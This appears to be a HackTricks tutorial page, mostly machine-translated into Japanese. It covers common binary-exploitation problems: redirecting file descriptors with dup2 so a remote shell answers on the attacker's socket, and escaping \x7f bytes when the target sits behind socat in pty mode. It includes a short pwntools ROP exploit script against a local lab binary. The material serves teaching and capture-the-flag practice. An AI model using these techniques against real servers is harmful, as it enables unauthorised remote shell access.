Common Exploiting Problems

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

FDs in Remote Exploitation

リモートサーバーに**system('/bin/sh')**を呼び出すエクスプロイトを送信すると、これはサーバープロセスで実行され、/bin/shはstdin(FD: 0)からの入力を期待し、stdoutおよびstderr(FDs 1および 2)に出力を印刷します。したがって、攻撃者はシェルと対話することができません。

これを修正する方法は、サーバーが起動したときにFD番号 3(リスニング用)を作成し、その後、あなたの接続が**FD番号 4**になると仮定することです。したがって、syscall **dup2**を使用してstdin(FD 0)とstdout(FD 1)をFD 4(攻撃者の接続のもの)に複製することが可能であり、これによりシェルが実行されたときに連絡を取ることが可能になります。

Exploit example from here:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

socatはすでに**stdinstdoutをソケットに転送します。ただし、ptyモードはDELETE文字含みます**。したがって、\x7fDELETE -)を送信すると、あなたのエクスプロイトの前の文字を削除します

これを回避するために、エスケープ文字\x16を送信する任意の\x7fの前に追加する必要があります。

ここでこの動作の例を 見つけることができます

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated